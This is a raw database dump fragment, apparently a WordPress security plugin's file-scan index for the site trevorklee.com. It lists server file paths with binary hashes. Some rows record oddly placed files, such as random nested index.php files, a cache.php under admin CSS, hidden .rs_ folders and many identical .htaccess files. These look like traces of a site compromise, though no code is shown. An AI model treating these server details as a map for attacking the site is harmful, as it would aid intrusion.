('4so(Hhd','wp-includes/fonts/class-wp-font-utils.php','/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-utils.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p#,c%5V','8eoFNb\'э<D','',0,'?'),
('tqWL','wp-includes/Requests/src/Auth.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Auth.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bXQzܴOH','*7ۘ7SN^ssf','',0,'?'),
('ŃʁYX@','wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/index.php',0,'f6u	z','f6u	z','tE=/H^Z','',0,'?'),
(' %f%c3','wp-content/themes/twentytwentyfive/assets/images/grid-flower-1.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/grid-flower-1.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ͨ!HϩG$^','i;uw:ʔi)D7`i3c͓tl','',0,'?'),
('{]\\ֵ	d','wp-admin/css/forms-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/forms-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|{#	ПSu','6\'Q Fup9	u<Rn5UH','',0,'?'),
('7\0+\0%\nJ','wp-admin/css/colors/blue/blue/cache.php','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/blue/cache.php',0,'*.T^Ti]->','*.T^Ti]->','@Pzꥊc9|T¯]','',0,'?'),
('XCI%?ː','wp-includes/fonts/class-wp-font-face-resolver.php','/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-face-resolver.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h8`l_/6','D,=3LɟK()׆bX-','',0,'?'),
('ӆ_Dw!5o','wp-content/plugins/loginizer/lib/hybridauth/User/Contact.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/User/Contact.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_F-E,6d}','86b1XXb<-Xv0%T','',0,'?'),
('Tp0]ob[','wp-includes/blocks/post-comments-form/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1{ⱄk_Bv(','k-\n!5<s+LTy3w','',0,'?'),
('\0&@COqM%','wp-content/plugins/wordfence/waf/wfWAFBlockConstants.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/wfWAFBlockConstants.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ndڮqV[;Z<\'\0',';D%\r`=Ŗm\"ʰrx','',0,'?'),
('@rȔ9We','wp-includes/block-patterns/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\"RŜ','wp-includes/images/crystal/text.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/text.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' Ѳ#d%[','n10<;\nIp~f⠸z','',0,'?'),
('N<3n9Q','wp-content/themes/twentytwentyfour/patterns/hidden-comments.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A\Z3>(\"d}Y',' l\\ˠ,pZ \0#t','',0,'?'),
('S\n<_TU','wp-includes/sodium_compat/src/Core/Poly1305/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Poly1305/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('YJOΠ*Z','wp-includes/blocks/post-author/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.^QǉU','W;IF+7CZE Ya,_','',0,'?'),
('st]H\n','wp-includes/js/dist/edit-site.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/edit-site.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|^%.','wէZ}\\`\"\"	xCky','',0,'?'),
('v%S[̪Ѿ','wp-includes/ms-functions.php','/home/trevorkl/trevorklee.com/wp-includes/ms-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӹJcefХ','HCao~DM~ਕgw','',0,'?'),
('rsa9SUU','wp-includes/blocks/post-featured-image/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_=Vi|Bf','j;0cHx	&ie3hHQR+iI','',0,'?'),
('vyLe!','wp-includes/blocks/post-terms.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D5tyQ5Ukt','p̥sM/_3\"|)4I','',0,'?'),
('Z@]\nMO!','wp-includes/blocks/math/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' N\\0 Aͮ\"','߉^^SxSϟ1h*fq[k','',0,'?'),
('88hlc','wp-content/plugins/wordfence/waf/dummy.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/dummy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':<]y6jz0','w-c}:i\\BSq54uHѻ','',0,'?'),
('ᄻHYkn	8','wp-includes/fonts/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/fonts/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('|X%jgu@CJM','wp-includes/js/dist/vendor/react.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tx,g!*$','*͡cQ	f1Φܾ_','',0,'?'),
('ւxRaǜ@','wp-includes/css/dist/editor/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ٵI3?9','Vcb;(\'mK$f/','',0,'?'),
('X\"-{$48sx','wp-admin/css/deprecated-media.css','/home/trevorkl/trevorklee.com/wp-admin/css/deprecated-media.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n!.JK0K','ƌFE:r˻M6%|	nLD','',0,'?'),
('\rZO[΅f','wp-includes/blocks/columns/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','´`boFIK','dף!x`J&ͽ{','',0,'?'),
('UdMS$l','wp-admin/includes/class-wp-list-table-compat.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-list-table-compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}>\r_D\"CkC','\\;]\"(+/}˚q5NS\'','',0,'?'),
('\rz@_ÐmdM','wp-content/plugins/wordfence/modules/login-security/classes/model/ip.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/ip.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fcAN)','u^*OZ\nJ8`R럗XQ','',0,'?'),
('/F3`\021W{Y','wp-content/themes/twentytwentytwo/inc/patterns/general-layered-images-with-duotone.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-layered-images-with-duotone.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=j~\\s[-\"hG(','a(TT\Z|ϋ;;Y{Qd\0<1','',0,'?'),
(';K(.','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OpenID/README.md','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OpenID/README.md',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C~/&Q\\','s7e%#TU\Z@ԃ(]:L','',0,'?'),
('@GteY\\\'>O','wp-content/plugins/wordfence/lib/wfVersionCheckController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfVersionCheckController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IݵP*kɤ','I\r@n	l׵#o','',0,'?'),
('G︈gpΊ','wp-includes/blocks/quote/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g2&:2~','KwiJM,oXK*\\zKBWLO','',0,'?'),
('O~LȦ\"f~|;','wp-content/themes/twentynineteen/sass/site/header/_site-header.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/header/_site-header.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_n.)U\\!k','1,0љLv/\r>%\"','',0,'?'),
('ZWtpNh','wp-admin/css/nav-menus.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/nav-menus.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.:b<j%hȇ^','2rQ\'y[~3|Mn`@&QLwW','',0,'?'),
('^F-;5Oa','wp-includes/css/dist/base-styles/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/base-styles/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ma#$smxQ','wp-includes/blocks/template-part.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q:tU\">W?3qN@','q\Z~ȑnqb]\ZHԉػ','',0,'?'),
('|^9<h|.K','wp-content/themes/twentynineteen/style.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mMxD\rm(/','y?=+/_gY4Z','',0,'?'),
('e>[q)','wp-admin/css/colors/light/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/light/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('#;eO\"#[','wp-includes/blocks/shortcode/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O*ctBHV','tpFWCp>2[}hvp6j','',0,'?'),
('7xGPB\\','wp-content/themes/twentytwentyfive/assets/images/404-image.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/404-image.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ԣ	M$b','?\r5Mm%f¥My;%P?O嶦','',0,'?'),
('Z Og\nWW2','wp-includes/js/wp-embed-template.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-embed-template.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cj?6fN55H6','Ils&xjzQꢓ','',0,'?'),
('BJ<`','wp-includes/blocks/post-excerpt.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=qo=5<}','	cOtcۻO3>ܶ@g4Egfе','',0,'?'),
('!h>iq8tn','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0>@UeU','țp˄o<O\nOo{w=S','',0,'?'),
('wCbRs?','wp-admin/css/colors/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\\9ѕFw','wp-admin/js/revisions.js','/home/trevorkl/trevorklee.com/wp-admin/js/revisions.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MȘf3BiPxj','d@$\r\'ByGP!kpFd','',0,'?'),
('ȝy3c:tw','wp-includes/css/dist/media-utils/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style.min.css',0,'H+6p','H+6p','l}#?Ә\"tD9`-Z;Pc','',0,'?'),
('I<ٔxKZ','wp-includes/sodium_compat/src/Core/Curve25519/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('%!ڡG&5','wp-content/themes/twentytwenty/assets/css/editor-style-block.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-block.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':\nraK\0<N','ډMhV ~y</O9*','',0,'?'),
(')$:X[','wp-content/.rs_g5/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g5/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('-omq\0X','wp-includes/class-wp-block-editor-context.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-editor-context.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r~E!b','\'\r=F}LhaIç\Z\"$Δ','',0,'?'),
('M3vaBcd','wp-includes/blocks/search/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e\n\r1p=','I_:M>٠}.','',0,'?'),
(':+hy^W','wp-includes/block-template.php','/home/trevorkl/trevorklee.com/wp-includes/block-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m67!ٱ\Zv[C','A-HkqL\\sҏ]{j9qj','',0,'?'),
('/<յ','wp-content/.rs_g8/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g8/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('#Δ6i/Û','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9s`Y','aj\'iMt87>d\05@V9','',0,'?'),
('1:9,׮n\"','wp-includes/class-wp-theme-json.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-theme-json.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p8⭎O\Z','yCcwnNpA8G!','',0,'?'),
(':(\\Jj^\0Q','wp-includes/SimplePie/src/HTTP/Psr18Client.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Psr18Client.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' 2S/Y\'1','sc]T%r*Maݴp-','',0,'?'),
('<*0O|$<','wp-includes/js/mediaelement/renderers/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/renderers/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('@)` ~O}ac','wp-includes/blocks/heading/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1z	1[m','3On97m\\Ox','',0,'?'),
('X∆+WLT','wp-content/plugins/wordfence/modules/login-security/views/page/passkey-embedded.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/passkey-embedded.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&/HWD͊/','[ZpKy^5?5\"6c','',0,'?'),
('^ns*F}=`d','wp-includes/html-api/lpyi1nu/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('fR%=0w','cgi-bin/wp-blog-header.php','/home/trevorkl/trevorklee.com/cgi-bin/wp-blog-header.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('lM+Jm','wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}\'\'Q^o+^','!3`DTdk3Z26}','',0,'?'),
('s(=@x(ar\\','wp-includes/blocks/math/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CJt\r{Oh>','ZTГtQ4><mi<','',0,'?'),
('N@(3','wp-includes/ID3/module.audio.mp3.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio.mp3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TuHWxW1\"','օw\0J\Z]ڲ9\rn}!n','',0,'?'),
('h)UG@xv	','wp-admin/edit-tags.php','/home/trevorkl/trevorklee.com/wp-admin/edit-tags.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o9:x@','jM-ʑ&yx4Ka%EV','',0,'?'),
('XwE','wp-includes/blocks/more/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/more/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%O)\nUH\0','ҶC}d;Am^_?G.^t&f6','',0,'?'),
('xmY\r=P9','wp-content/plugins/akismet/_inc/img/logo-a-2x.png','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/logo-a-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wJZ>','Jz{M\rR怮lBA\rU¨','',0,'?'),
('2]hqu:T6EU','wp-content/plugins/wordfence/lib/wfAPI.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAPI.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ry($','M>L?az0ӥi','',0,'?'),
('pL8ґ','wp-includes/blocks/accordion-item.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8݊AI','2Ѣ#{:~&\r>oI','',0,'?'),
('	Ieԩ[G_6','wp-includes/js/dist/editor.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d>~\'txRJ','!x9\rS7N[','',0,'?'),
('#AuI.F/','wp-includes/js/wp-pointer.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-pointer.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8\Z߁@ \r|ɛ[d','OȆm~gƷ^96}>|̭/]','',0,'?'),
('@,n\\+k','wp-includes/js/tinymce/plugins/wpemoji/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpemoji/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z~&)j','6$ ?gC2ǅS\07*瘋','',0,'?'),
('vFI2hn','wp-content/plugins/wordfence/readme.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݝgDgXlAm','抶pko2Q釽_fn?\r!&i','',0,'?'),
('{1\"^.','wp-includes/class-wp-widget-factory.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-widget-factory.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2lNV','t)	Ј74A8sked;af','',0,'?'),
('fNr[0\ZN','wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/index.php',0,'M; XBg>.','M; XBg>.','Y2g!Û>NΎ+.ʨ5Y\r','',0,'?'),
('sv ','wp-includes/blocks/social-links/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<ҔF~,A','[iWn<S!ψOIDEJԳ','',0,'?'),
('sIqF','wp-admin/includes/class-theme-installer-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-theme-installer-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}U3_NI','6W>7U.~X(','',0,'?'),
('=V;N.K','wp-includes/js/wp-list-revisions.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-list-revisions.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PbOPxOrs72','#;w1.B3f_;Pf','',0,'?'),
('\'gNTb','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ay\nYn2!','ShVZt^~͛\n#$֒\r5V','',0,'?'),
('7FWm!wSZ=','wp-includes/blocks/video/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')>Hh?7F','3ᙼ<Ht?>NOuΊEgݎJ','',0,'?'),
('\nӛIQED	','wp-includes/class-wp-comment-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-comment-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?DO\\~\rx','d842v$UӣE`yEق+','',0,'?'),
('nξ8nPp\\`z','wp-content/themes/twentytwentyone/assets/css/ie-editor.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie-editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ANZ^K','m1ǿ\n?؀MI<cԙ{,','',0,'?'),
('W˧P?','wp-content/themes/twentytwentyone/assets/css/ie-editor.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie-editor.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h)ژ@ح\\@','Bșo$\'AdLxRU','',0,'?'),
('Κ,Qagl\Z','wp-includes/class-smtp.php','/home/trevorkl/trevorklee.com/wp-includes/class-smtp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.斚aqݓϠ','B)HJڐRps 	+\'8k_','',0,'?'),
('}Hp+Uڂ','wp-content/themes/twentytwentyfour/patterns/template-single-portfolio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-single-portfolio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9dfneD)D','ש.\0`6>я݄J}x`V%s','',0,'?'),
('L\Z|=c','wp-content/plugins/wordfence/modules/login-security/classes/controller/whitelist.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/whitelist.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B0oǔ','7/QƐՐwg:?#{sɟ','',0,'?'),
('dA#*Źo7','wp-admin/js/customize-controls.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/customize-controls.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.w	o1KΪ/','#\"]pEe;I]͇9','',0,'?'),
('x-M-Nr','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/OFL.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/OFL.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	-nB	ˌ)u','8@9e{Ӎ#ңn\nYփL','',0,'?'),
('V\ZF\0|','wp-includes/sodium_compat/src/Core32/Poly1305.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Poly1305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@BgEJƽH','i|\\IE_X綈j','',0,'?'),
('xOW\r','wp-includes/sodium_compat/src/PHP52/SplFixedArray.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/PHP52/SplFixedArray.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h{	|is\r$#c','n FdiRO{ēfl','',0,'?'),
('-,^DS','wp-includes/js/plupload/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('5ڜ2l2{','wp-admin/js/widgets/media-video-widget.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-video-widget.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':ܥd|QSn','R;Twhm^䜺KLA','',0,'?'),
('8|S|uΣ','wp-includes/blocks/comments-pagination-next/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-next/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(':zݳeLѤ','wp-content/themes/twentytwentyfive/assets/css/editor-style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/css/editor-style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1>_qu?Sp*5','tX-ʟ\"` 0ų	T5&Q','',0,'?'),
('?\'\\j i','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('M/<Pߍf.','wp-includes/js/jquery/ui/effect-bounce.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-bounce.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b{o#{','vT2n>`_;5>\0%^','',0,'?'),
('T:\ZrD ','wp-content/themes/twentynineteen/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U\'eA7If','4	vԚ_]0ϗz%I_6','',0,'?'),
('VT2ewgߋu8','wp-includes/js/jquery/ui/button.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/button.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(1:a?qj@','Tm\"	Yj%ݚM\'Ra>8','',0,'?'),
('W𓃚FGjUZ','wp-content/themes/twentytwentyone/assets/sass/03-generic/normalize.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/normalize.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~\n+54','\\Λ;3X]3{{8ҒZ\0>\\&','',0,'?'),
(']gߜ=JTw4','wp-includes/blocks/post-time-to-read/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-time-to-read/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	oauk4\"',' 1!\0x$aӑNJGݖu','',0,'?'),
('f)	*jwydB','wp-includes/images/xit-3x.gif','/home/trevorkl/trevorklee.com/wp-includes/images/xit-3x.gif',0,'Ƚc<sD$','Ƚc<sD$','z՗hے\0,4pa+W','',0,'?'),
('z6+PH\rtU','wp-includes/css/dist/block-library/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"V2,N','ZwYƷ7<S0','',0,'?'),
('˥̰MVЗeA','wp-admin/js/widgets/media-video-widget.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-video-widget.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VU6D]C','W_T>)Rp>n}Pmz\0:sc','',0,'?'),
('t(iltY/','wp-includes/css/dist/list-reusable-blocks/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@T; \\FYY0.d','\Zb/7Jt0Ƞ|4;C6̎','',0,'?'),
('Τe;y[99','wp-includes/js/jquery/ui/checkboxradio.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/checkboxradio.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' kNg\'`s','{0?;˴d Ԭ%ooWi)7','',0,'?'),
('\n\n7','wp-content/plugins/wordfence/modules/login-security/classes/controller/rest.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/rest.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mG*PFV','kW/\0Pemaskw]o','',0,'?'),
